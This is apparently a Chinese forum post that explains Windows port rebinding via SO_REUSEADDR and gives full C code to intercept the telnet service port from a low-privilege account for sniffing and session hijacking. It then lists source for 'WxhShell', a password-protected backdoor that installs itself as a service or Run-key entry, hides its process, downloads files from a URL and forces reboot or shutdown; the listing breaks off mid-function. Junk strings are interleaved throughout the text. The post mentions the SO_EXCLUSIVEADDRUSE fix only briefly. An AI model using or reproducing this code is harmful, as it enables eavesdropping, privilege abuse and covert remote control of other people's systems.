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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =h|wwQE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rn-G @}f  
i ?;R}%~  
  saddr.sin_family = AF_INET; {^J!<k,R\;  
]dG\j^e|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T1W:>~T5#  
b#/i.!:a  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `4V"s-T'  
^/dS>_gtHv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \tx%WC  
0I 5&a  
  这意味着什么?意味着可以进行如下的攻击: h0Ee?=  
B_ k2u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DK6? E\<  
i)8N(HN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #f*g]p{   
>&WhQhZ3kg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 cwe1^SJ6y  
ZYcd.?:6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C#;@y|Rw  
PK 4`5uT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'eyJS`  
?gSSli[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G 4qy*.  
&Jy)U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ ]^X`R  
iY~rne"l  
  #include O4L#jBa+  
  #include {U"^UuU]  
  #include ]Bnwk o  
  #include    ,a0pAj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZCYS\E 7X  
  int main() &:3Z.G  
  { _1L(7|^~y[  
  WORD wVersionRequested; R?pRxY  
  DWORD ret; !^y y0`k6  
  WSADATA wsaData; /YH`4e5g  
  BOOL val; brSi<  
  SOCKADDR_IN saddr; _U0$=V  
  SOCKADDR_IN scaddr; O'$K],=BS  
  int err; aXY -><  
  SOCKET s; uP@\#/4u  
  SOCKET sc; 2r&R"B1`(  
  int caddsize; _w(ln9   
  HANDLE mt; V*RdDF7  
  DWORD tid;   }T.?c9l X  
  wVersionRequested = MAKEWORD( 2, 2 ); Qx)Jtb0`V  
  err = WSAStartup( wVersionRequested, &wsaData ); fP[& a9l  
  if ( err != 0 ) { _M t Qi  
  printf("error!WSAStartup failed!\n"); g5S?nHS}  
  return -1; sbo^"&%w  
  } WR#0<cz(  
  saddr.sin_family = AF_INET; WKl+{e  
   TWd;EnNM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g=l:cVr8y  
zl%>`k!>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6X)@ajGWg~  
  saddr.sin_port = htons(23); S~NM\[S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }]+xFj9[>  
  { yGj.)$1},@  
  printf("error!socket failed!\n"); ~n?>[88"  
  return -1; (GcT(~Gq)D  
  }  c</1  
  val = TRUE; qAY%nA>jO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gSt`%  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uD9|.P}  
  { *7$P]  
  printf("error!setsockopt failed!\n"); F|+W.9  
  return -1; xW_yLbE  
  } <rIz Z'D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6!q#x[A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^qvZ XS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uxu\u0*  
E9}{1A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ymN!-x8q>'  
  { yx>_scv,T  
  ret=GetLastError(); ?okx<'"[  
  printf("error!bind failed!\n"); jS<_ )  
  return -1; tPfFqqT  
  } )]43R   
  listen(s,2); 7~1IO|4t  
  while(1) v [njdP  
  { e]Fp=*#  
  caddsize = sizeof(scaddr); wJ+Aw  
  //接受连接请求 Ysi  g T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -JT/ 9IQ  
  if(sc!=INVALID_SOCKET) EME.h&A\G`  
  { Uf\nFB? ^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E?)656F[  
  if(mt==NULL) mQ~:Y  
  { W# US#<9Y  
  printf("Thread Creat Failed!\n"); 9`Q<Yy"du  
  break; c#/H:?q?a  
  } [KJ q  
  } q,>?QBct*  
  CloseHandle(mt); ,*I@  
  } eH%RNtP`  
  closesocket(s); OJAIaC\  
  WSACleanup(); EZDy+6b  
  return 0; 8, "yNq  
  }   x_#-tB  
  DWORD WINAPI ClientThread(LPVOID lpParam) Tr&M~Lgb)  
  { {aYY85j  
  SOCKET ss = (SOCKET)lpParam; SHVWwoieT  
  SOCKET sc; BX+.0M  
  unsigned char buf[4096]; _-TA{21)  
  SOCKADDR_IN saddr; @A<PkpNL  
  long num; tw=oH9c80  
  DWORD val; l fZ04M{2  
  DWORD ret; ,XkGe   
  //如果是隐藏端口应用的话,可以在此处加一些判断 5ETip'<KT6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @`36ku  
  saddr.sin_family = AF_INET; "= / f$Xf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _aWl]I){5  
  saddr.sin_port = htons(23); ;)AfB#:d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6uPcXd:8ZR  
  { 5ExDB6Bx@y  
  printf("error!socket failed!\n"); ]b/S6oc6  
  return -1; N_pUv   
  } Q Fm|-j  
  val = 100; b</9Ai=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NB_ )ZEmF  
  { <^?1uzxH8A  
  ret = GetLastError(); @=j WHS  
  return -1; cTTW06^  
  } 2i{cQ96  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iq7}   
  { aUHcYc\u  
  ret = GetLastError(); PxS4,`#~  
  return -1; 8I;XS14Q  
  } \b=Pj!^gwb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $Xm6N@  
  { q$(5Vd:  
  printf("error!socket connect failed!\n"); (6l+lru[  
  closesocket(sc); Cqii}  
  closesocket(ss); RwI[R)k  
  return -1; gKz(=  
  } $d S@y+  
  while(1) %UUH"  
  { 9^FziM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ian[LbCWB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QqNW}: #  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c9qR'2  
  num = recv(ss,buf,4096,0); $$APgj"|<  
  if(num>0) HB+|WW t>  
  send(sc,buf,num,0); EtbnE*S  
  else if(num==0) xL|;VyD  
  break; S"Lx%  
  num = recv(sc,buf,4096,0); j>uj=B@  
  if(num>0) osARA3\Xt  
  send(ss,buf,num,0); tZ`Ts}\e  
  else if(num==0) xv{O^Ie+S  
  break; Yim<>. !  
  } >_OYhgs1w  
  closesocket(ss); 7 >iU1zy  
  closesocket(sc); g V5zSudW  
  return 0 ; E%oY7.~-  
  }  j~j jX  
p'7*6bj1  
e:H26SW  
========================================================== tCxF~L@  
p G1WXbqW  
下边附上一个代码,,WXhSHELL m,C1J%{^  
d8-A*W[  
========================================================== F  
jls-@Wl  
#include "stdafx.h" (Yo>Oh4  
RrU BpqA  
#include <stdio.h> bVP"(H]  
#include <string.h> rc&%m  
#include <windows.h> s,#>m*Rh  
#include <winsock2.h> ;%tF58&  
#include <winsvc.h> T91moRv  
#include <urlmon.h> niB `2 J  
z [`@}}Q  
#pragma comment (lib, "Ws2_32.lib") Zo1,1O  
#pragma comment (lib, "urlmon.lib") ;XM{o:1Y[  
"&Po,AWa  
#define MAX_USER   100 // 最大客户端连接数 2'=T[<nNB  
#define BUF_SOCK   200 // sock buffer =X.LA%Sf=u  
#define KEY_BUFF   255 // 输入 buffer Z{&cuo.@<]  
T~Q JO0  
#define REBOOT     0   // 重启 iq( )8nxi  
#define SHUTDOWN   1   // 关机 6aM*:>C"  
=UyLk-P w  
#define DEF_PORT   5000 // 监听端口 jw-0M1B  
 V#VN %{  
#define REG_LEN     16   // 注册表键长度 7{&|;U  
#define SVC_LEN     80   // NT服务名长度 &0f5:M{P  
%HrAzM.QBF  
// 从dll定义API df7wN#kO+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N F)~W#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :y7c k/>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w$JvB5O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eke5Nb  
3R+|5Uq8~  
// wxhshell配置信息 2eMTxwt*S  
struct WSCFG { jLg9H/w{  
  int ws_port;         // 监听端口 A}eOFu`  
  char ws_passstr[REG_LEN]; // 口令 mI74x3 [  
  int ws_autoins;       // 安装标记, 1=yes 0=no .^B*e6DAD  
  char ws_regname[REG_LEN]; // 注册表键名 pz"0J_xDM  
  char ws_svcname[REG_LEN]; // 服务名 bygx]RC[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <&C]s b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iY21Ql%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J2:y6kGj>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &b:1I 7Cp*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \rv<$d@L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t!RiUZAo  
5\z `-)  
}; >2~=)L  
wI(M^8F_Mf  
// default Wxhshell configuration k:7(D_  
struct WSCFG wscfg={DEF_PORT, ;!yQ  
    "xuhuanlingzhe", Gz .|]:1  
    1, 6j ~#[  
    "Wxhshell", 21"1NJzP  
    "Wxhshell", GSH>7!.#  
            "WxhShell Service", SL5Ai/X0N  
    "Wrsky Windows CmdShell Service", !qG7V:6  
    "Please Input Your Password: ", $|8!BOx8t  
  1, Jv^h\~*jH  
  "http://www.wrsky.com/wxhshell.exe", Bz,?{o6s)Q  
  "Wxhshell.exe" :OuA)f  
    }; KCs[/]  
R17?eucZ  
// 消息定义模块 h $2</J"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0Vx.nUQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a\r\PBi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !r<pmr3f@7  
char *msg_ws_ext="\n\rExit."; &Xf}8^T<V  
char *msg_ws_end="\n\rQuit."; 4<BjC[@~Z{  
char *msg_ws_boot="\n\rReboot..."; E>K!Vrh-L  
char *msg_ws_poff="\n\rShutdown..."; V:joFRH9  
char *msg_ws_down="\n\rSave to "; {;2PL^i  
Zu7)gf  
char *msg_ws_err="\n\rErr!"; kGl~GOB a  
char *msg_ws_ok="\n\rOK!"; .[_L=_.  
&q9T9A OS  
char ExeFile[MAX_PATH]; v/_  
int nUser = 0; c Vc-  
HANDLE handles[MAX_USER]; r]6C  
int OsIsNt; ?` ?)QE8  
nR*ryv  
SERVICE_STATUS       serviceStatus; *WuID2cOI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zolt$p  
2Wdyxj Q  
// 函数声明 'tH_p  
int Install(void); s%W C/ZK  
int Uninstall(void); ,y#Kv|R  
int DownloadFile(char *sURL, SOCKET wsh); o2F)%TDY  
int Boot(int flag); NCDvo bYJ  
void HideProc(void); J\b^)  
int GetOsVer(void); y gz6C  
int Wxhshell(SOCKET wsl); A*\.NTM  
void TalkWithClient(void *cs); z:wutqru  
int CmdShell(SOCKET sock); %%[LKSTb  
int StartFromService(void); x<ZJb  
int StartWxhshell(LPSTR lpCmdLine); Te[n,\Nb  
XuFYYx~ ^3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )P sY($ &  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p^w;kN  
lN Yt`xp  
// 数据结构和表定义 JJN.ugT}1  
SERVICE_TABLE_ENTRY DispatchTable[] = 9P+-#B  
{ vQ 6^xvk]  
{wscfg.ws_svcname, NTServiceMain}, ZpQ)IHA.  
{NULL, NULL} 4\iOeZRf  
}; ]Gsv0Xk1  
;{N!Eb`S  
// 自我安装 fumm<:<CLO  
int Install(void) U2W|:~KM  
{ VZKvaxIk6  
  char svExeFile[MAX_PATH]; .[ICx  
  HKEY key; 1G^`-ri6  
  strcpy(svExeFile,ExeFile); Hquc o  
bKMy|_  
// 如果是win9x系统,修改注册表设为自启动 b0Ps5G\ u  
if(!OsIsNt) { #cI{Fe0h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3EPv"f^V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _uy44; zq  
  RegCloseKey(key); vg32y /l]S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &i6),{QN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u7>],<  
  RegCloseKey(key); zBzZxK>$  
  return 0; Q' {M L4  
    } VY7[)  
  } zHM(!\8K  
} \!.B+7t=I  
else { UM"- nZ>[  
L0TFo_  
// 如果是NT以上系统,安装为系统服务 +nFu|qM}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <Z mg#  
if (schSCManager!=0) lR6@ xJd:@  
{ n{ar gI8wF  
  SC_HANDLE schService = CreateService V_.5b&@  
  ( Q+{xZ'o"Z  
  schSCManager, A P?R"%  
  wscfg.ws_svcname, D2Kp|F;  
  wscfg.ws_svcdisp, tEvut=k'  
  SERVICE_ALL_ACCESS, u04kF^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'c9]&B  
  SERVICE_AUTO_START, G[uK-U  
  SERVICE_ERROR_NORMAL, nAsh:6${  
  svExeFile, <L8'!q}  
  NULL, TNe l/   
  NULL, KJ)k =mJ  
  NULL, ,is3&9  
  NULL, rZ}:Z'`  
  NULL X^wt3<Kbf  
  ); kTOzSiq  
  if (schService!=0) (R=:X+ k  
  { f<d`B]$(  
  CloseServiceHandle(schService); :!WHFB o 8  
  CloseServiceHandle(schSCManager); u}macKJmp\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z>k#n'm^z  
  strcat(svExeFile,wscfg.ws_svcname); "o-z y'I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ r@zs'N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6]WAUK%h  
  RegCloseKey(key); 98IJu  
  return 0; -b9\=U[  
    } t%/&c::(6  
  } JcsHt;  
  CloseServiceHandle(schSCManager); Z&+ g;(g  
} ctZ uA+  
} FrGgga$  
hF~n)oQ  
return 1; \/r}]Vz  
} PR#exm&  
k<CJ{u0<  
// 自我卸载 7rc0yB  
int Uninstall(void) X9W@&zQ  
{ ]8_NZHld  
  HKEY key; 5H<m$K4z  
KOk4^#h@  
if(!OsIsNt) { ;u_X)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l*Gvf_UH  
  RegDeleteValue(key,wscfg.ws_regname); @<hb6bo,N  
  RegCloseKey(key); -A^_{4X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %S960  
  RegDeleteValue(key,wscfg.ws_regname); ohGJ1  
  RegCloseKey(key); & p  
  return 0; NRs13M<ftf  
  } dd%6t  
} P9^Xm6QO  
} e5ZX   
else { 24 'J  
EIP /V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @e.C"@G  
if (schSCManager!=0) X:"i4i[}{9  
{ Cn34b_Sbd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |.: q  
  if (schService!=0) RB7tmJ c  
  { ^,TO#%$iE  
  if(DeleteService(schService)!=0) { 3)<yod=  
  CloseServiceHandle(schService); A4x]Qh3OO  
  CloseServiceHandle(schSCManager); *SJ_z(CZm  
  return 0; {#vgtgBB  
  } y&$A+peJ1  
  CloseServiceHandle(schService); gV's=cQ  
  } s%7t"-=&  
  CloseServiceHandle(schSCManager); o q Xg  
} 5uGq%(24  
} nfbR P t  
GY'%+\*tj  
return 1; #jvtUS\  
} hR?{3d#x2  
`,<BCu  
// 从指定url下载文件 hn G Z=  
int DownloadFile(char *sURL, SOCKET wsh) PJ|P1O36a  
{ me$Z~/Akm  
  HRESULT hr; AlaW=leTe  
char seps[]= "/"; ZPLm]I\]  
char *token; AofKw  
char *file; I5 p ? [  
char myURL[MAX_PATH]; R`qFg/S  
char myFILE[MAX_PATH]; Qz1E 2yJ  
pI\]6U  
strcpy(myURL,sURL); UcHJR"M~c  
  token=strtok(myURL,seps);  R B  
  while(token!=NULL) |mfvr *7  
  { -$ls(oot  
    file=token; 4SxX3Fw  
  token=strtok(NULL,seps); q"lSZ; 'E  
  } <dtGK~_  
6@5+m 0`u3  
GetCurrentDirectory(MAX_PATH,myFILE); >1Ibc=}g  
strcat(myFILE, "\\"); E<Y$>uKA  
strcat(myFILE, file); GR_-9}jQP  
  send(wsh,myFILE,strlen(myFILE),0); `4J$Et%S  
send(wsh,"...",3,0); K\Wkoi5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iOghb*aW  
  if(hr==S_OK) p?OoC  
return 0; Dw.J2>uj  
else k1~&x$G  
return 1; cOJo3p;&  
jvL[ JI,b  
} NH4#  
IHac:=*Q  
// 系统电源模块 rglXs  
int Boot(int flag) ~q.F<6O  
{ p8O2Z? \  
  HANDLE hToken; +mj y<~\  
  TOKEN_PRIVILEGES tkp; ?);v`]  
1.GQau~  
  if(OsIsNt) { ;A'mB6?%H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `*R:gE=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ee! 4xg  
    tkp.PrivilegeCount = 1; {%H'z$|{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BX7kO0j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D/&o& G96  
if(flag==REBOOT) { T.BW H2gRP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zTSTEOP}%Y  
  return 0; XNkn|q2  
} UB@+c k  
else { K+3=tk]W9u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +I|vzz`ZVr  
  return 0; KkbDW3-  
} 7Ovi{xd@  
  } ^jZbo {  
  else { \r+ a GB  
if(flag==REBOOT) { [RhO$c$[\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ea 'D td  
  return 0; ^}o2  
} !l8PDjAE  
else { L#sMSVC+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :DNY7TvZ  
  return 0; 0S!K{xyR  
} ,#9PxwrO  
} @qAS*3j  
;?p>e'  
return 1; ]2KihP8z x  
} S4z;7z(8+  
Why`ziks  
// win9x进程隐藏模块 p_%Rt"!  
void HideProc(void) sUQ@7sTj  
{ 2fd{hJDq;5  
hHnYtq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }19\.z&J  
  if ( hKernel != NULL ) \_f(M|  
  { on `3&0,.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6LIJ Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HIZe0%WPw  
    FreeLibrary(hKernel); Kn1a>fLaJ_  
  } E ~<JC"]  
rjYJs*#  
return; G_,jgg7  
} >|UOz&  
%IWPM"  
// 获取操作系统版本 %>{0yEC  
int GetOsVer(void) Tyx_/pJT  
{ 3f{3NzN  
  OSVERSIONINFO winfo; X l5 A 'h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (O3nL.  
  GetVersionEx(&winfo); s;Q!X ?Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @\#td5'  
  return 1; tG a8W  
  else Gyc]?m   
  return 0; Rima;9.Y0  
} [{,1=AB  
l]8uk^E  
// 客户端句柄模块 MQ8J<A Pf-  
int Wxhshell(SOCKET wsl) y}|s&4Sq  
{ fNFY$:4X  
  SOCKET wsh; &%J08l6  
  struct sockaddr_in client; X'iWJ8  
  DWORD myID;  f.)O2=  
.?$gpM?i  
  while(nUser<MAX_USER) $=4QO  
{ W'M*nR|xo  
  int nSize=sizeof(client); ]c'A%:f<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T6=u P)!K  
  if(wsh==INVALID_SOCKET) return 1; a&? :P1$  
.$vK&k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZJiG!+-j  
if(handles[nUser]==0) S)@j6(HC4  
  closesocket(wsh); G4"F+%.  
else 5r ^(P  
  nUser++; Cw&KVw*  
  } G"A#Q"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xJ.M;SF4  
nBYZ}L q  
  return 0; 0</);g}  
} UkFC~17P  
Z,PPu&lmE/  
// 关闭 socket =rdV ]{Wc  
void CloseIt(SOCKET wsh) tKXIk9e  
{ SE*g;Cvg1  
closesocket(wsh); j0q&&9/Jj  
nUser--; CpT jJXb  
ExitThread(0); 3u0RKLc\  
} r9?Mw06Wc5  
EfT=?  
// 客户端请求句柄 h/Y'<:  
void TalkWithClient(void *cs) Lr pM\}t  
{ scV5PUq  
La[V$+Y  
  SOCKET wsh=(SOCKET)cs; 3ckclO\|>  
  char pwd[SVC_LEN]; `Urhy#LC  
  char cmd[KEY_BUFF]; < =IFcN  
char chr[1]; 7b+6%fV  
int i,j; ?}Y]|c^W  
oQJtUP%  
  while (nUser < MAX_USER) { pd$[8Rmj_  
a d\ot#V  
if(wscfg.ws_passstr) { 4_ML],.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6_B]MN!(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,PD QzJY  
  //ZeroMemory(pwd,KEY_BUFF); MF'JeM;H  
      i=0; 8 L Cb+^  
  while(i<SVC_LEN) { o)/ 0a  
"#g}ve,  
  // 设置超时 iWR)ke  
  fd_set FdRead; <F'\lA9  
  struct timeval TimeOut; P.DK0VgY  
  FD_ZERO(&FdRead); JW&gJASGC  
  FD_SET(wsh,&FdRead); gjlx~.0d  
  TimeOut.tv_sec=8; !5!<C,U  
  TimeOut.tv_usec=0; {{!-Gr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q+{n-? :  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Nz-&MS  
);YDtGip J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %BQ`MZ  
  pwd=chr[0]; BnY&f  
  if(chr[0]==0xd || chr[0]==0xa) { 2~[juWbz  
  pwd=0; k;Y5BB  
  break; kq-) ^,{y  
  } (cO:`W6.  
  i++; D2O~kN d  
    } 3OB"#Ap8<  
noj0F::m`j  
  // 如果是非法用户,关闭 socket @2#lI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yf,z$CR  
} qxc[M8s  
x?<FJ"8"k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MHwIA*R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A@u@ift  
N$tGQ@  
while(1) { *n!J=yS  
_yT Ed"$  
  ZeroMemory(cmd,KEY_BUFF); '5tCz9}Y  
?V=CB,^  
      // 自动支持客户端 telnet标准   GLODVcjf  
  j=0; ! d gNtI@  
  while(j<KEY_BUFF) { 1Z&(6cDY8M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TcoB,Kdce  
  cmd[j]=chr[0]; glw+l'@  
  if(chr[0]==0xa || chr[0]==0xd) { Ho]su?  
  cmd[j]=0; zT{ VE+=  
  break; w!XD/j N  
  } QZ8IV>  
  j++; -Qe'YBy:  
    } Uw:"n]G]D?  
M3au{6y  
  // 下载文件 d_P` qA  
  if(strstr(cmd,"http://")) { T> p&$]OG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pzem{y7Ir  
  if(DownloadFile(cmd,wsh)) 1 -b_~DF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $pz/?>!  
  else +cRn%ioVi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [N'h%1]\  
  } t#yuOUg  
  else { 3(UVg!t  
V VCZ9MVJ  
    switch(cmd[0]) { uw8f ~:LT  
  y)<q /  
  // 帮助 2A!FDr~cdT  
  case '?': { ]_$[8#kg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p]"4#q\(  
    break; &e3.:[~_?  
  } & nK<:^n  
  // 安装 qJw_  
  case 'i': { y_[vr:s5pG  
    if(Install()) ")25 qZae  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|}L&A  
    else  AOx[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " Yy n/  
    break; t`QENXA}  
    } Bbp|!+KP{(  
  // 卸载 TsZ@  
  case 'r': { i@'dH3-kO  
    if(Uninstall()) S]{oPc[7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K> e7pu  
    else >R=|Wo`Ri  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FiU#T.`9'  
    break; fXB0j;A  
    } Z6m)tZVM  
  // 显示 wxhshell 所在路径 ?@89lLD  
  case 'p': { :v 4]D4\o  
    char svExeFile[MAX_PATH]; IR bfNq^:  
    strcpy(svExeFile,"\n\r"); WF"k[2  
      strcat(svExeFile,ExeFile); #LCb  
        send(wsh,svExeFile,strlen(svExeFile),0); ?X;RLpEc|A  
    break; [00m/fT6  
    } $od7;%  
  // 重启 %XTI-B/K  
  case 'b': { x)VJFuqy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yLcE X  
    if(Boot(REBOOT)) Xm&L B X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g,Y/M3>(  
    else { Ap !lQ>p  
    closesocket(wsh); i6N',&jFU  
    ExitThread(0); S tyfB  
    } .|=\z9_7S8  
    break; E} .^kc[(4  
    } . ]M"# \  
  // 关机 et+0FF ,  
  case 'd': { w#J2 wS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A)KZa"EX  
    if(Boot(SHUTDOWN)) |K~Nw&rZ]  
